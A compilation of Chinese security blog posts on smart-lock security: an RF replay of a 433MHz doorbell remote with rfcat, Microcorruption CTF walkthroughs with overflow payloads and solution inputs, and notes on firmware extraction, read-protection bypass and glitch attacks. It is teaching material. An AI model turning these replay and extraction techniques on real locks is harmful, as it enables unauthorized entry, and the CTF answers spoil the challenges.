将 YARD Stick One 插入计算机 USB,然后连接到虚拟机上,选择虚拟机 -> 可移动设备 -> OpenMoko YARD Stick One -> 连接(断开与主机的连接)。
连接后,执行 lsusb
命令可以查看 usb 设备
运行 rfcat 进行交互式 Python Shell 进行测试
1 | $ sudo rfcat -r |
如图,该命令行环境下有一个简单使用帮助:有一个加密狗的全局对象 d,你可以通过该对象与 YARD Stick One 设备进行交互:
d.setMdmModulation(modulation):设置数字调制模式,例如遥控器是ASK / OOK,所以我使用d.setMdmModulation(MOD_ASK_OOK)。
d.makePktFLEN(length):使用固定的数据包长度时,可以使用它指定数据包的大小,因此,如果发送的是“\xDE\xAD\xBE\xEF”,则为d.makePktFLEN(4)。
d.setMdmDRate(baud):此函数设置波特率或一次设置多少数据,对于我的遥控器,它约为4800波特,因此我使用d.setMdmDRate(4800)
d.setMaxPower():默认情况下,带有 rfcat 固件的 CC1111EMK 以低功率发送信号。如果运行此函数,则会将功率设置为最大,这会使信号传播得更长一些。
d.RFxmit(\
探测信号,使用 d.specan(freq),我这个遥控的频率为 433Mhz,使用此遥控的频率(433000000)作为参数,运行后弹出一个频谱扫描仪窗口,如图,可以看到 433Mhz 在这个扫描范围内。
1 | In [1]: d.specan(433000000) |
按下门铃遥控后,设备成功扫描到该信号,频率为 434.257907Mhz
也可以捕获信号并以数据包显示出来,依次设置参数(设置频率上面的峰值434257907hz)。
1 | In [2]: d.setFreq(434257907) |
但通过观察数据包并没有发现什么规律,所以用接下来说的方法进行抓取。
将 SDR ,启动 osmocom 捕获信号,-f
指定频率,-s
设置采样率。
1 | $ osmocom_fft -f 43425e4 -s 8e6 |
点击右下角进行 REC 按钮进行录制捕获,它将产生一个 .cfile
的信号文件。
然后按下遥控,并按住 2 秒后松开,再次点击右下角 stop
按钮,关闭窗口后在终端下,可以看到生成的信号文件路径。
使用 inspectrum 加载信号文件
1 | $ inspectrum /tmp/name-f4.342500e+08-s2.000000e+06-t20200916152347.cfile |
加载后,将采样率设置成之前录制使用的 -s
参数(本例为8e6),并调整 FFT 大小和缩放以更好地了解频谱图。通常,先缩小一点以查看我要处理的内容,在这种情况下(通常是使用基本OOK进行处理)是一个简单的重复信号。
现在,通过滚轮选择放大开头的那部分,并右键 Add derived plot -> Add threshold plot 添加阈值图,以更好地可视化信号。
将红线对准信号的中心,下方会显示振幅图。通过调整红线两侧的白线,离红线越近,下面振幅图的峰值更接近直线。
在左侧控制栏下的 Time selection 可对波形进行划分,启用 Enable cursors,这里我们以一位“内码”信号的宽度为标准。接着对Symbols数值进行递增,直至囊括一帧信号的波形区域。
关于内码,可以参考 HS1527 芯片手册,HS1527码型如下:
现在我们知道在 inspectrum 里面看到的信号是什么意思了,总结下:一帧信号的编码格式为“≥8位同步码 + 20位内码 + 4位数据码”。本例一共为 32 位码。
选择 Extract symbols -> To stdout 提取 Symbols。
提取后,在终端上会显示以下内容
在前面 rfcat -r 的交互命令行下将 symbol 解码成 32 位码 00000000101000111010101000100010
,再参考上面芯片手册截图中的同步位和内码将按高低电平宽度比换算成二进制位
1 | `10000000000000000000000000000000111010001110100010001000111011101110100011101000111010001110100010001000111010001000100011101000` |
最后,再将二进制位转为十六进制,使用 d.RFxmit() 就可以使用 yardstickone 进行重放信号,运行以后,这时门铃会响起。
整理成脚本
1 | from rflib import * |
手动换算 symbol 后,终端执行 bits2bytes() 方法,将
1 | 10000000000000000000000000000000111010001110100010001000111011101110100011101000111010001110100010001000111010001000100011101000 |
转换为字节,最后执行 rfcat 的 d.RFxmit() 方法,进行重放信号(循环 10 次以上),运行后门铃响起。
YARD Stick One
RfCat
inspectrum
LimeSDR 无线信号重放攻击和逆向分析 - BG7YWL
My quickest and easiest method for OOK signal decoding & replication in 2016 - Gareth
ASK/L(OOK)/Listen! – Basic Signal Decoding and Replay - Mike Czumak
HACKING FIXED KEY REMOTES - Andrewmohawk
HS1527 Datasheet PDF
“智能家居增长潜力巨大,对拉动新兴消费意义重大。”
“此次疫情催生了‘宅经济’,这其中,智能家居无接触式的交互方法,为疫情时代的人们带来了便捷舒适而又安全智能的生活体验。”
第十三届全国人大代表——郑杰
“万物互联”从一种畅想变为实际落地场景,使联网终端的设备种类变得更加多样,智能家居市场的规模也在短时间内快速膨胀,如智能门锁、智能照明、智能家电、智能中控、智能影音等。据统计,2019年中国智能家居市场出货量突破2亿大关,较上年提升33.5%,预计今年我国智能家居市场规模将达到6000亿元。
作为从外部环境进入智能家居场景的第一个“关卡”,智能门锁的发展备受瞩目。
随着物联网各类技术的逐步进步,越来越多的智能设备出现在我们生活中,智能锁在锁具市场上所占的份额将会越来越大,甚至超过传统锁,成为主流。
2016年全球市场智能锁产业规模达到1100万套。其中日本达到150万套,韩国达到170万套,欧美市场达到250万套,中国达到350万套,其它等市场约200万套, 预计到2020年全球智能锁产业规模将达到5100 万套 。
我国的智能锁大多数采用密码、指纹、手机等多种识别方式。其中,半导体指纹识别和光学指纹识别,是目前我国智能锁行业最主流的的指纹识别技术。
随着智能锁相关技术的日益成熟和发展,人脸识别、手机开锁、虹膜开锁、物联网技术等相继诞生,我国智能锁产品的功能和应用将更加丰富多元,也将进一步促进未来智能锁与智能家居的同步发展和高度融合。
根据消费者的考虑因素以及智能门锁行业的发展趋势,安全、便捷和适用将会成为产品主流,行业将会出现以消费者主导的消费者品牌,而不是行业品牌,这就要求相关企业要足够洞悉消费者的心理。而最受消费者在意的安全性,将会得到进一步的强化,逐渐在真正意义上彰显智能门锁是人们隐私的保护神这一角色。
根据消费者购买智能门锁考虑因素的调查结果显示,86.8%的消费者最重视智能门锁的安全性,其次消费者考虑最多的便是实用性和便捷性,最后就是质量。
以上内容是对近期智能锁具发展趋势的简要分析,在后续发布的《锁王创造营》系列文章中,我们将从各个角度结合实际案例来讲锁具的安全性。上期的锁王闯关环节中,我们成功破解了第三关——“Hanoi”,现在我们来继续破解第四关:
Cusco是Microcorruption第四个关,该关卡作为Hanoi的延续,让我们开始吧。
首先我们浏览一下手册,看该版本更新了哪些内容。
OVERVIEW
- We have fixed issues with passwords which may be too long.
- This lock is attached the the LockIT Pro HSM-1.
DETAILS
…
This is Software Revision 02. We have improved the security of thelock by removing a conditional flag that could accidentally getset by passwords that were too long.
也就是说这一关卡还是使用了HSM-1,还删除了条件标志来提高安全性,从而避免密码太长而覆盖。
查看反汇编窗口,首先main函数,跟之前Hanoi一样,这里只调用了login函数。
1 | 4438 <main> |
login函数代码如下,调用了puts、getsn、test_password_valid以及unlock_door,看起来没有什么特别之处。
1 | 4500 <login> |
我们从何下手呢?还记得上一关卡Hanoi时,我们知道当我们输入内容过长时,可能覆盖它后面的内存数据,所以,首先看看getsn函数接收的输入长度以及缓冲区的位置。
1 | 4514: 3e40 3000 mov#0x30, r14 |
也就是说最大可接收0x30字节的输入,以及它存放在当前栈空间中,尝试输入若干个“A”,测试一下看看它是否会覆盖什么。
从内存中可以看到确实是0x30字节,但也没有什么重要的信息,继续运行。
密码错误,但是我们发现控制台窗口有一个报错,地址未对齐。原因是,我们查看上面的寄存器窗口,pc
寄存器是0x4141,这不是“A”的16进制吗,正是我们输入的密码,0x4141并未16为对齐。
当我们在反汇编窗口向上拉,overvriteen表示原本的代码被覆盖了。基于以上说明,我们输入的内容更改了pc
寄存器,并且已经溢出了当前的栈帧外,覆盖了我们的代码。
很明显,这是一个栈溢出漏洞,我们在login函数的ret
指令处下断点,并运行到ret
指令的地址0x453e。
sp
寄存器指向的正是login的返回地址,关于ret
指令的作用,msp430手册中说明,将当前sp
指向的栈中的返回地址移动到pc
寄存器,也就是相当于pop
和 jmp
的操作,所以可改变程序的执行流程。
至于为什么会覆盖返回地址呢?首先我们查看login的栈的空间结构,如图左,栈是从高地址向低地址递进。当main函数call login
时,首先将当前pc
的下一条指令地址放入堆栈栈中,接着login函数第一条指令add #0xfff0, sp
用来开辟0x10字节大小的栈空间。但是由于我们输入了0x30字节的输入,当前栈空间不足以存放这么多数据,就会向高地址溢出,覆盖返回地址以及代码。
既然返回地址被我们输入的数据覆盖,那么我们就利用这一点,来达到劫持程序流程的目的。首先我们确定返回地址的偏移,返回地址在0x43fe的位置,而我们的密码在0x43ee,所以它的偏移在+0x10的位置。确定偏移后,需要填充返回地址,返回时执行我们希望执行的代码,既然我们的目的是解锁,那么不如将unlock_door解锁函数的地址0x4446作为填充。
1 | 4446 <unlock_door> |
一切准备之后,开始进行栈溢出漏洞利用,别忘了返回地址的字节序。
使用十六进制输入:414141414141414141414141414141414644。
解锁成功!
以上就是本期《锁王创造营》的全部内容,对闯关以及其他问题感兴趣的小伙伴可以加一下我们的技术交流群哦!
参考
]]>15日,美国商务部公告升级了对华为的芯片管制,即便芯片本身不是由美国来开发设计,但是只要外国公司使用了美国芯片的制造设备,就必须获得美国政府的许可,才能向华为或其附属公司提供芯片。华为想要继续获取某些芯片或使用某些美国软件或技术相关的半导体设计,也必须获得美国的许可。
芯片是科技发展的基础,一个企业甚至国家的核心竞争力,一直以来,国人都在想方设法摆脱在芯片领域被“卡脖子”的状态,例如龙芯、飞腾、兆芯,但全球芯片生态和技术迭代的时机又一次次表明这注定是一个“路漫漫其修远兮”的艰苦过程,不过也正像上图华为回应的那样“回头看,崎岖坎坷;向前看,永不言弃。”破釜沉舟、背水一战,才是唯一出路。
智能门锁安全研究自然离不开芯片层面的攻防,数智安全研究院深耕芯片安全多年,在这一块也有所积累,接下来通过一些具体案例介绍一下智能锁中的芯片安全。
如果PCB上保留了厂商在研发过程中预留的 SWD 接口,可直接通过飞线的方式,连上对应的引脚进行调试。
连接 gdb 进行调试。
大部分厂商在生产环节会去掉外部引出的 JTAG 接口,因为多数量产芯片的封装格式,直接飞线难度较大,因此可以采用探针台直连芯片引脚进行调试。在研究的某款智能锁,拆解发现采用的是 MSP432G2553 作为主控,下图红框位置。
该款智能锁利用手机 app 产生开锁音频信号,进过外部 AD 转换后传输至芯片中进行解密开锁处理,厂商在生产过程中比较注重安全意识,PC 上的没有保留调试接口,进一步分析的话,需要对芯片进行固件提取和在线调试。
查TI官方手册,MSP432G2553 芯片引脚定义如下,其支持四线 JTAG 和两线 SBW 的调试接口,随采用两线制 SBW 接口作为调试方式,其 16 引脚为 SBWTDIO 口,17脚为 SBWTCK 脚。
连接引脚
两线制 SBW 对应 MSP430 仿真器上的14线排针接口,分别为 16 脚 SBWTDIO 口连仿真器第一脚 TDO,17脚 SBWTCK 连第7脚 TCK,最后需要连接 GND 脚,即芯片的第 20 脚连仿真器第9口,两线制 SBW 同时需要外部电源供电,仿真器接口定义如下图。
按照引脚说明,开始在探针台上连接引脚,需要注意 JTAG 和 SBW 调试,对连线的长度有严格要求,超过 20 厘米信号会大幅衰减,造成无法调试,因此在探针上利用夹子和铜导线缩小接线距离。
在线调试
连接上仿真器,启动 msp430-gdbproxy。msp430-gdb 远程连接 target remote 192.168.1.196:2000
接下来可以结合固件分析,协议分析等进一步研究此款锁的安全性。
拆焊芯片
首先用热风枪拆下智能锁主控芯片,该单片机型号为 :Stm32F103R6。
烧录座连接Jlink
芯片第一脚对齐烧录座第一脚,然后把 Jlink 插入烧录座引出的 JTAG 接口。
读取固件
电脑上安装好 Jlink 驱动,打开 J-Flash 客户端,设置好参数,主要在配置栏选择正确的芯片型号,然后点击连接,在点击 Target->Read Back->Entire trip 即可读写固件。
拆开智能锁,找到PCB电路板中芯片的位置,可以直接看出芯片型号为nRF51802 。
通过查阅芯片手册,找到电路板上的芯片SWD调试接口,通过JLINK连接,发现芯片设置了读保护。
由UICR(用户信息配置寄存器)中的RBPCONF(0x10001004)寄存器处理,如果设置为0xFFFF00FF,则启用读出保护,默认值为0xFFFFFFFF。
通过调试端口查看:mdw 0x10001004读取
可知智能锁有读保护。
查阅资料发现可以通过修改寄存器中的值为我们期望的内存地址,并传递给加载指令可以绕过读保护提取出固件。
除了使用软件漏洞,通过电压、电磁等毛刺攻击也可以绕过读保护 。
(毛刺攻击 stm32 芯片 来源:chip.fail)
通过电磁注入芯片,产生重置信号,实现开锁。
某款共享单车电路设计和机械构造存在问题,可以从外部截断输入锁体的电源线,再用一个高电压的脉冲电压作为输入电源,即可开锁。其原因在于电路设计和电机控制芯片选型存在缺陷,没有做充分的过载保护和断路保护,使控制锁柱运动的电机异常工作。
以上为我们本期《锁王创造营》所分享的关于智能锁芯片安全的具体案例,希望能让您对智能锁具芯片安全的认知有所帮助。
在上一期《锁王创造营》中,我们成功解锁了第二关“Sydney”,今天我们将继续破解第三关——“Hanoi”。
首先我们浏览一下手册,看该版本更新了哪些内容。
OVERVIEW
- This lock is attached the the LockIT Pro HSM-1.
- We have updated the lock firmware to connect with the hardwaresecurity module.
DETAILS
…
LockIT Pro Hardware Security Module 1 stores the login password, ensuring users can not access the password through other means. The LockIT Pro can send the LockIT Pro HSM-1 a password, and the HSM will return if the password is correct by setting a flag in memory.
这里说该锁连接了 HSM-1(硬件安全模块),也就是说密码在的HSM中存储,LockIT Pro可以向HSM-1发送密码,再由HSM返回结果,而我们无法直接访问它。
接下来,我们查看反汇编窗口,看看它到底做了什么,首先是main函数,main中除了调用login函数外,并无其他功能。
1 | 4438 <main> |
查看login函数,其中调用了一些函数,put函数、getsn函数请求用户输入、test_password_valid函数根据函数名知道其作用是测试密码有效性。
1 | 4520 <login> |
通过开头的手册提示,我们知道密码在HSM中,我们看看test_password_valid函数做了哪些操作。
1 | 4454 <test_password_valid> |
通过简单分析可以看到,地址0x446e调用了INT函数,根据LockIT Pro用户手册第7页,可以看到INT函数的作用是将中断号压入栈中,然后调用系统中断,在call #0x457a <INT>
上方正是将“0x7d”压入栈中,所以这是调用INT 0x7d中断。
在LockIT Pro用户手册第9页中说明,调用INT 0x7d中断后,若是密码正确,将会在某一位置上覆盖标志。
我们回到login函数中,使用break 4548
命令,将断点设置在调用test_password_valid后下一条指令位置,然后c
运行,运行过程中调用请求输入函数getns,根据调用前参数,我们不知道正确的密码,依旧填“test”。在IO交互界面提示,密码在8~16字符之间。
getns有两个参数,请求输入密码的内存缓冲区地址(0x2400),以及接收的最大字节数(0x1c),所以尽管上面提示密码在8~16字符之间,我们还是可以输入28(0x1c)个字符。
1 | 4534: 3e40 1c00 mov #0x1c, r14 |
待在0x4548断下以后,我们单步分析。在不知道密码的情况下,寄存器r15(r15存放test_password_valid函数的返回值)的值为0是必然的,所以执行jz $+0x8
,跳过mov.b #0xf1, &0x2410
,随机打印提示测试密码是否有效字符串。
1 | 4544: b012 5444 call #0x4454 <test_password_valid> |
随即cmp.b
比较源操作数0xc6与地址0x2410的内容,其中目的操作数是绝对寻址模式。下一条指令jne
,若是不相等则跳过unlock_door函数,ret返回。所以这是解锁的关键代码,猜测之前调用INT 0x7d时,若密码正确覆盖的正是这一地址。
1 | 455a: f290 c600 1024 cmp.b #0xc6, &0x2410 |
关于寻址模式,在msp430手册中介绍,针对源操作数的七个寻址模式和针对目的操作数的四个寻址模可在完整地址空间寻址。
还记得之我们输入的密码在内存的位置吗?密码在地址0x2400起始的缓冲区中,和0x2410只相差0x10字节,而我们可以输入0x1c个字符,此时我们可以通过“溢出”0x10字符的范围,覆盖到地址0x2410中。
我们已经确定了解决方案,下面开始解锁。
填充0x10字节数据,在其末尾加上0xc6即可。
以16进制编码输入:41414141414141414141414141414141c6。
成功解锁!
以上就是本期《锁王创造营》的全部内容,对闯关以及其他问题感兴趣的小伙伴可以加一下我们的技术交流群哦!
“2020年4月30日起,丰巢快递柜开始实行超时收费的“会员制”,非会员包裹只可免费保存12小时,超过需收取0.5元/12小时的费用。”
这则新闻甫出,可谓一石激起千层浪,各方媒体、民众声讨声不断。商人逐利本无可厚非,但君子爱财,取之有道,若是这“道”实为对用户的暗度陈仓之道,那么这“财”该不该取、该向谁取?这是一个值得丰巢与广大快递收、发用户好好商榷的问题。
所谓“术业有专攻”,目前丰巢与用户之间的收费矛盾该如何善后我们姑且不谈,但是对于在我们当下生活中普及率越来越高的如智能快递柜、自动售货机、自动洗车机器人等这些线下终端锁具安全性,我们研究院的小伙伴还是非常感兴趣的,现在让我们通过几个具体的案例研究来探讨一下智能终端存在的某些风险。
绕过特殊手势、断电重启等特殊操作绕过沙箱 。
通过某些特殊手段使快递柜返回到安卓桌面。
可以通过中间层管理APP调试快递柜,可打开所有快递柜门 。
智能终端机箱主机柜通用钥匙。
可简单物理开启机柜进行调试。
某自动售货主机机柜可被轻松技术开启。
智能终端固件、文档等泄露。
可搭建出模拟环境
通过以上案例我们可以看出,类似这种智能终端在目前还是存在很多的安全风险的,所以某些企业在想着如何从用户那里赚钱的同时,是不是也应该多花些时间在提高产品的安全性能上下功夫呢?
回归正题,在上一期《锁王创造营》我们对“New Orieans”成功解锁后,地图上会出现下一个level——“Sydney”,现在让我们开始新的挑战吧。
Lockitall LockIT Pro, rev a.02,作为前一个的更新版本,我们有必要浏览一下显示的手册:
DETAILS
…
This is Software Revision 02. We have received reports that the prior version of the lock was bypassable without knowing the password. We have fixed this and removed the password from memory.
大概意思是从内存中删除了密码,密码不会在内存中以硬编码的形式存在了。
首先查看main函数,显然,并没有之前create_password函数。main中仍然有put函数打印字符串输出,check_password函数检查密码是否正确,以及INT函数。
1 | 4438 <main> |
根据静态分析,在check_password函数调用后,根据之前的经验,函数返回值存放在r15
寄存器。返回后下一条指令”tst r15“,检查r15
寄存器也就是的值是否为零。我们查看check_password函数进一步分析。
1 | 448a <check_password> |
可以看到,check_password中一共有4个cmp
指令,将源操作数与r15
寻址的内存中的内容比较,且目的操作数之后都是以两个字节偏移递增。若是经过4次cmp
比较,r15
将会被赋值为0x1,也就是能通过密码检查。
需要注意的是这里使用的是cmp
,与上一等级的cmp.b
相比,少了.b
扩展名也叫助记符,所以操作数不再是一字节(byte);cmp
虽然省略了.w
扩展名,但其相当于cmp[.w]
,操作数是一个字(word)。在msp430用户指南中解释,如果不使用扩展名,指令是一个字指令。
此时,我们需要知道r15
所寻址的内存地址,我们回到main函数中可以发现,调用check_password函数前,将sp
当前栈指针移动到r15
,sp
的值我们还不知道,那我们开始调试吧。
1 | 4438 <main> |
使用break 444a
命令,在地址0x444a处设置断点,查看sp
的值以及sp
指向的栈空间的内容。首先会调用请求输入get_password函数,我们输入”test“,进行测试。
输入完毕后,在此c
命令运行,执行到地址0x444a后中断,我们可以查看sp
的值,栈空间(sp)的内容正是我们输入密码。
继续设置断点break check_password
,然后c
运行,进入check_password分析,我们已经知道r15
寻址的内存中内容正是我们输入的密码,所有将cmp
的源操作数提取出来,依次是0x412c、0x673c、0x653c、0x636b,这应该就是正确密码了。
1 | 448a: bf90 2c41 0000 cmp #0x412c, 0x0(r15) |
这里有一个问题,将以上16进制数组合起来:412c673c653c636b,若是直接作为输入肯定是会出错的,因为,我们还忽略了字节序的问题,MSP430的是小端存储(little-endian),所以我们需要将其高字节与低字节进行交换。
关于字节序,大家都不陌生,维基百科中关于字节序中介绍:
字节的排列方式有两个通用规则。例如,一个多位的整数,按照存储地址从低到高排序的字节中,如果该整数的最低有效字节(类似于最低有效位)在最高有效字节的前面,则称小端序;反之则称大端序。
勾选16进制编码输入复选框,以16进制编码输入:2c413c673c656b63。
解锁成功!
以上就是本期《锁王创造营》的全部内容了,对闯关以及其他问题感兴趣的小伙伴可以加一下我们的技术交流群哦!
1、 MSP430 用户指南 http://www.ti.com.cn/cn/lit/ug/zhcu032i/zhcu032i.pdf
2、智能锁具攻防一:初探 https://yaseng.org/intelligent-lock-attack-and-defense-1.html
3、智能锁行业安全分析报告 https://yaseng.org/intelligent-lock-industry-safety-report.html
4、物联网安全百科 https://iot-security.wiki
最近大热的网播剧《鬼吹灯之龙岭迷窟》着实让屏幕前的观众跟着过了一把古墓闯关寻宝的瘾,剧中主角胡八一、王胖子、shirley杨强强联手,带领一众人马凭着生平学识积累、过人的胆识以及精良的装备,破解重重机关锁制,最终取得龙骨天书,获取破解诅咒的关键线索。
从古至今,摸金校尉与墓主人开展了无数次生死较量。地上的梁上君子们也没闲着,从最早的溜门撬锁,到如今的锡纸开锁,对锁具的攻防就从未停止过。
如今,物联网技术迅速发展,作为新时代守护老百姓生命财产的重要一环,智能锁已成为智能家居市场上发展最为迅速的品类之一。有研究表明,随着市场的需要,智能锁所占的份额逐年增加,大有超过传统锁具,成为主流的趋势。不过就目前而言,智能锁暴露的安全问题比传统机械锁更大,因为,机械锁具的攻击点主要在锁芯和锁体结构,而智能锁除以上提到的两点之外,还涉及到云端通信、移动端、集成电路模块、指纹、声纹、图像识别、RFID 等关键技术,所以暴露的攻击点更多、攻击方式更为隐蔽,造成的危害可能更大。此外,许多智能锁厂商并非由传统锁具厂商转型过来,在锁具生产加工制造上,更容易忽略某些机械和设计结构上的物理缺陷,这也是智能锁在安全问题上必须要重视的地方。
正因智能锁具已成为人们现实生活中新一代的保护神,其安全可靠性就是其生命力所在,不安全锁具无疑是给生活留下了极大的安全隐患。数智安全研究院对锁具安全研究着手多年,参与过很多智能锁具安全方面的会议、沙龙等,在锁具安全研究方面也有了些许成果。
(破解某款智能锁)
(线下沙龙锁具安全展台)
近日,数智安全实验室的小伙伴本着猎奇心理参与了Microcorruption发起的一个智能锁破解闯关的游戏,18道关卡,历时五天,最终全部破解,由于游戏关卡设置的新颖以及破解过程的种种趣味体验,也为了让更多志同道合的朋友更好的了解智能锁具安全攻防,我们决定在每周更新的内容里增加一个《锁王创造营》系列,每期发布一些智能锁具安全方面的知识以及一道关卡的破解记录,感兴趣的小伙伴可以先不参考我们的思路,自己尝试着破解看看哦!
(闯关开始啦,快速转动你们的小脑筋!!)
Microcorruption是Matasano Security 与 Square制作的一款智能锁在线CTF”游戏“,该CTF专注于嵌入式安全和挑战玩家逆向工程的一个虚构“Lockitall LockIT Pro”锁系统。
每一个Level都通过反汇编窗口,内存窗口,寄存器窗口和调试控制台进行调试,如图所示,这是由Web浏览器构建的调试器。在调试控制台上输入“help”,查看调试指令。若刚开始挑战,建议先完成Tutorial新手教程,它将为你介绍这个调试器,以及如何达成目标过关。
如反汇编窗口所示,它是由MSP430控制的锁,实时模拟真实设备,我们的目标是在内存中寻找特定的输入,或者找到漏洞然后进行利用达到解锁的目的。该CTF是对嵌入式安全性的不错介绍,不需要购买真实的硬件,甚至还有用户手册,非常适合初学者入门。
下面我们先看第一level——Tutorial调试器指导教程,此教程将逐步介绍这个web调试器。
使用continue
或c
命令运行程序。
运行后,若没有其它断点,将弹出IO控制窗口,这里显示控制台的输出,提示我们输入密码。
然后下面是用户输入文本框,我们输入“test”,然后“send”提交,锁将会提取该输入。
继续c
命令运行。
运行完毕后可以看到,底下的另一个IO控制窗口提出输出:无效密码。
此时,意味着程序执行完毕,所以CPU将会关闭。需要在控制台上输入reset
,进行重置CPU状态。
重置(reset)CPU以后,现在在main函数上设置断点,查看main函数做了什么事情。在控制台窗口输入命令:break main
;或者输入:b main
。
使用c
命令运行,程序将会断在main函数(红色代表正在待执行的指令)。由蓝色背景设置的就是断点的位置。我们也可以通过鼠标单击它,来删除断点或者设置断点。
寄存器窗口显示断点时的状态,它们都是由16进制显示。右侧显示当前程序计数器pc处的指令。
现在我们可以使用step
或s
命令进行单步步入调试。该命令有可选参数,后面加上5a,将步过5a条指令。
现在执行到INT函数中,这是锁与用户交互的重要方式,通过发出中断,锁可以打印字符,请求输入或执行其他功能的操作。
继续使用`c
命令运行,直到弹出请求输入。在不知道密码的情况下,仍输入“test”。
现在使用out
或者f
命令退出当前函数,它一直运行直到遇到下一条“ret”指令。经过几次“ret”之后,回到main函数中,0x444c是调用check_password函数,似乎是一个关键检查函数,尝试在该函数设置断点break check_password
。
使用c
命令,程序成功断在check_password函数。待执行的指令是“mov.b @r15, r14”,这意味着将r15寄存器寻址的内容移动到r14寄存器中。
先查看r15寄存器,r15的值为0x439c。该地址正是“test”字符串的起始地址。
在控制台窗口输入s
单步命令,再查看寄存器窗口中r14的变化。r14的值变为0x74,0x74是字符“t”的ascii码。
继续“s”命令单步执行,“inc r15”意味着r15自增1。
执行下一条指令,继续“s”命令单步执行,“inc r12”意味着r12自增1。
下一条指令,“tst r14”,这条指令比较r14是否为零。它将r14中的值与常数0进行比较,结果将在状态寄存器sr中;若r14为零,这里则设置零标志位。
单步执行“tst r14”后,紧接着是“jnz $-0x8”(如果不为零,则跳转),jnz是条件跳转指令,当未设置零标志位时,它将移动程序计数器pc,向后跳8个字节。
此时,我们将鼠标悬停在状态寄存器sr上,可以查看设置的标志位。“C”表示已设置进位标志位(Carry),这里未设置零标志位。所以这里”jnz“将实现跳转。
s
执行单步之后,向前移动0x8个字节,回到了开始的地方。所以这个循环中的主要的操作是,读取一字节我们的输入,便将r12寄存器加1。
现在我们跳出这个循环,直到r14寄存器为0使,才会跳出循环,即在0x448e处设置断点break 448e
。使用unbreak check_password
可以删除其它断点。随后使用“c”命令运行。*
此时运行的指令是“cmp #0x9, r12”,它比较两个值,也就是把r12的值与立即数0x9进行比较,cmp的功能相当于减法指令,只是不保存结果,而是设置状态寄存器中的零标志位。此时我们的r12为5,这是因为我们输入了4个字符的密码,其中最后一个是空字节。
执行完“cmp #0x9, r12”后,紧接着是jeq/jz指令(如果相等则跳转/如果为0则跳转,它们是等效的),它和jnz一样都是条件跳转。如果cmp比较为真(如果r12为9),则移动pc向后跳转6个字节。但是在这里,cmp比较为假(因为r12为5),未设置状态寄存器的零标志位,所以不进行跳转。
命令s
单步之后,将r15寄存器清0,然后返回。r15一般用作存放函数返回值结果,因此chekc_password函数的返回值为0。
我们在这里直接更改程序计数器pc,使用let pc = 4498
,将pc指向地址0x4498(mov #0x1, r15),将立即数0x1移动到r15寄存器中。然后使用f
命令回到main函数,我们看main函数将会发生什么。
在main函数中,再次运行”tst”指令,检查r15(check_password函数的返回值)是否非零,并相应地设置状态零标记位。我们知道r15为1,并且当r15不为0时发生跳转。使用s
命令继续单步执行。
单步执行后,跳转到访问“Access Granted!”字符串,然后put打印。接着调用unlock_door函数解锁。
使用c
命令运行。刚刚我们通过更改pc,到达所需指令进行欺骗。接下来需要通过正确的密码解锁。
reset之后,使用c
运行到请求输入窗口。在请求窗口中,我们还可以勾选16进制编码输入。
现在输入正确的密码,在之前check_password时,我们知道r12必须是9。因此我们需要增加到8个字符的输入,末尾自动包含1个空字符。尝试使用8位的“password”作为输入。
使用c
运行,密码正确!
现在我们在实锁中执行它,在控制台窗口输入solve
。这时我们将无法进行任何调试,只能输入密码。
解锁成功!现在我们返回地图,挑战下一关。
经过Tutorial,我们对调试器已经有了详细的了解。现在开始正式关卡的挑战,它的每一关都是世界各地的某个城市名,随着level数量的增加,难度也在增加。现在开始第一个Level的挑战——New Orleans。
OVERVIEW
- This is the first LockIT Pro Lock.
- This lock is not attached to any hardware security module.
查看反汇编窗口,开头是一些初始化或设置工作的函数。我们选择在main处设置断点,在控制台窗口输入b main
。
1 | 4438 <main> |
浏览main中call
的函数,create_password、puts、get_password、check_password和unlock_door函数,其中create_password似乎创建生成了密码,pust是打印提示字符串,get_password是请求输入密码,而check_password是对密码进行检查,和前一关一样unlock_door是解锁函数。
首先进入create_password看看。该函数正在mov.b一字节一字节的的数据到r15(0x2400)寻址的内存中,这些数据似乎是ascii码,最后一个字节以\x0结尾,合并在一起组成一个字符串。
1 | 447e <create_password> |
我们n
命令步过这个函数,然后查看内存0x2400的内容。"FllIf(9"
莫非是密码?
接下来在check_password下断点,然后c
命令运行。在请求输入时,选择以"FllIf(9"
作为输入。
果然,在地址0x44c2中”cmp.b @r13, 0x2400(r14)“比较1个字节,r13寄存器寻址的正是我们输入的密码,而0x2400(r14)是create_password函数生成的字符串"FllIf(9"
。经过循环比较每一个字节,判断我们的输入和"FFllIf(9"
是否相等,最后设置返回值r15。
1 | 44bc <check_password> |
至此,我们已经猜中密码正是create_password函数生成的字符串,使用c
命令运行,测试正确。
在控制台窗口输入”solve“,然后在请求输入窗口以字符串输入:FllIf(9,或者16进制输入:466c6c49662839。
1、 MSP430 用户指南 http://www.ti.com.cn/cn/lit/ug/zhcu032i/zhcu032i.pdf
2、智能锁具攻防一:初探 https://yaseng.org/intelligent-lock-attack-and-defense-1.html
3、智能锁行业安全分析报告 https://yaseng.org/intelligent-lock-industry-safety-report.html
4、物联网安全百科 https://iot-security.wiki
在线调试(OCD,On-Chip Debugging)接口可以提供对目标设备的芯片级控制,是工程师、研究人员、黑客用来提取程序固件代码或数据、修改存储器内容或改变设备操作的主要途径。如果你熟悉硬件电路或嵌入式系统,那么你肯定知道JTAG(Joint Test Action Group)和UART(Universal Asynchronous Receiver/Transmitter)可以说是使用最多的串行通信接口。
JTAG规范没有标准的接口定义,所以你可以在各种PCB硬件上中见到4-20pin的JTAG Header,而且各个引脚的功能定义也无法确定,这给调试工作造成了很大的麻烦,下图列举了4种接口定义,有ARM公司的定义,有ST公司的定义等等。
那如何知道引脚定义呢?传统的做法是通过逻辑分析仪做信号分析来解决,但是这样既费时费力又容易出错。于是自动化识别JTAG接口的设备便诞生了,例如有JTAGulator、JTAGenum、JTAG Finder、JTAG Pinout Tool等等,目前来说最好用的还是JTAGulator。
JTAGulator是一个开源硬件工具,可用于识别目标设备上测试点、过孔或元件焊盘的OCD连接,进而可以使用Attify Badge接线并读取程序固件。
JTAG是联合测试工作组(Joint Test Action Group)的简称,是在名为标准测试访问端口和边界扫描结构的IEEE的标准1149.1的常用名称。此标准用于验证设计与测试生产出的印刷电路板功能。
1990年JTAG正式由IEEE的1149.1-1990号文档标准化,在1994年,加入了补充文档对边界扫描描述语言(BSDL)进行了说明。从那时开始,这个标准被全球的电子企业广泛采用。边界扫描几乎成为了JTAG的同义词。
JTAG的主要三大功能:
在JTAG接口中,最常用的信号有五个,分别是TCK / TMS / TDO / TDI / TRST,其中4个是输入信号接口,另外1个是输出信号接口。
